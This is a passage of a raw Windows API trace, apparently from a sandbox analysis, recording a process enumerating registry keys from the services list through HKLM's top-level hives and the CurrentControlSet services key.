[0032.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x1da4408, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mozillamaintenance", lpUsedDefaultChar=0x0) returned 18 [0032.742] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xb7, lpName=0x1d92850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0032.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0032.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x1da4450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpio", lpUsedDefaultChar=0x0) returned 4 [0032.743] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xb8, lpName=0x1d92850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0032.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x1da4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpsdrv", lpUsedDefaultChar=0x0) returned 6 [0032.743] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xb9, lpName=0x1d92850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0032.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x1da4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpssvc", lpUsedDefaultChar=0x0) returned 6 [0032.743] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xba, lpName=0x1d92850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0032.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x1da4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxdav", lpUsedDefaultChar=0x0) returned 6 [0032.743] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xbb, lpName=0x1d92850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0032.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x1da4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb", lpUsedDefaultChar=0x0) returned 6 [0032.743] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xbc, lpName=0x1d92850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0032.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x1da4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb10", lpUsedDefaultChar=0x0) returned 8 [0032.743] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xbd, lpName=0x1d92850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0032.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x1da4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb20", lpUsedDefaultChar=0x0) returned 8 [0032.743] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xbe, lpName=0x1d92850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0032.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x1da4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msahci", lpUsedDefaultChar=0x0) returned 6 [0032.744] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xbf, lpName=0x1d92850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0032.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0032.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x1da4450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdsm", lpUsedDefaultChar=0x0) returned 5 [0032.744] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xc0, lpName=0x1d92850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0032.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0032.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x1da4408, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0032.744] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xc1, lpName=0x1d92850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0032.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0032.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x1da4450, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 3.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0032.744] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xc2, lpName=0x1d92850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0032.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0032.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x1da4408, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 4.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0032.744] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xc3, lpName=0x1d92850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0032.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0032.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x1da4450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msfs", lpUsedDefaultChar=0x0) returned 4 [0032.744] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xc4, lpName=0x1d92850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0032.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0032.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x1da4408, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mshidkmdf", lpUsedDefaultChar=0x0) returned 9 [0032.744] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xc5, lpName=0x1d92850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0032.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x1da4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msisadrv", lpUsedDefaultChar=0x0) returned 8 [0032.744] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xc6, lpName=0x1d92850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0032.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x1da4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiscsi", lpUsedDefaultChar=0x0) returned 7 [0032.745] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xc7, lpName=0x1d92850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0032.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0032.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x1da4450, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiserver", lpUsedDefaultChar=0x0) returned 9 [0032.745] RegOpenKeyExW (in: hKey=0x13c, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x94) returned 0x0 [0032.745] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d92850) returned 1 [0032.745] RegCloseKey (hKey=0x13c) returned 0x0 [0032.745] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0032.745] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x1d92850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0032.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x1da4408, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0032.745] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x1d92850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0032.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x1da4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0032.745] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x1d92850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0032.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0032.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x1da4408, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0032.745] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x1d92850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0032.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x1da4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0032.745] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x1d92850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0032.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x1da4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0032.746] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x1d92850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0032.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x1da4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0032.746] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x144) returned 0x0 [0032.746] RegCloseKey (hKey=0x80000002) returned 0x0 [0032.746] RegEnumKeyW (in: hKey=0x144, dwIndex=0x0, lpName=0x1d92850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0032.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0032.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x1da4408, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0032.746] RegEnumKeyW (in: hKey=0x144, dwIndex=0x1, lpName=0x1d92850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0032.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0032.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x1da4450, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0032.746] RegEnumKeyW (in: hKey=0x144, dwIndex=0x2, lpName=0x1d92850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0032.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0032.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x1da4408, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0032.746] RegEnumKeyW (in: hKey=0x144, dwIndex=0x3, lpName=0x1d92850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0032.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0032.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x1da4450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0032.746] RegEnumKeyW (in: hKey=0x144, dwIndex=0x4, lpName=0x1d92850, cchName=0x104 | out: lpName="Select") returned 0x0 [0032.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x1da4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0032.747] RegEnumKeyW (in: hKey=0x144, dwIndex=0x5, lpName=0x1d92850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0032.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0032.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x1da4450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0032.747] RegEnumKeyW (in: hKey=0x144, dwIndex=0x6, lpName=0x1d92850, cchName=0x104 | out: lpName="Software") returned 0x0 [0032.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x1da4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0032.747] RegEnumKeyW (in: hKey=0x144, dwIndex=0x7, lpName=0x1d92850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0032.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0032.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x1da4450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0032.747] RegEnumKeyW (in: hKey=0x144, dwIndex=0x8, lpName=0x1d92850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0032.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0032.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x1da4408, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0032.747] RegOpenKeyExW (in: hKey=0x144, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x13c) returned 0x0 [0032.747] RegCloseKey (hKey=0x144) returned 0x0 [0032.747] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x0, lpName=0x1d92850, cchName=0x104 | out: lpName="Control") returned 0x0 [0032.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x1da4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0032.747] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x1, lpName=0x1d92850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0032.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0032.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x1da4408, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0032.747] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x2, lpName=0x1d92850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0032.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0032.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x1da4450, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0032.748] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x3, lpName=0x1d92850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0032.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x1da4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0032.748] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x4, lpName=0x1d92850, cchName=0x104 | out: lpName="services") returned 0x0 [0032.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x1da4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0032.748] RegOpenKeyExW (in: hKey=0x13c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | 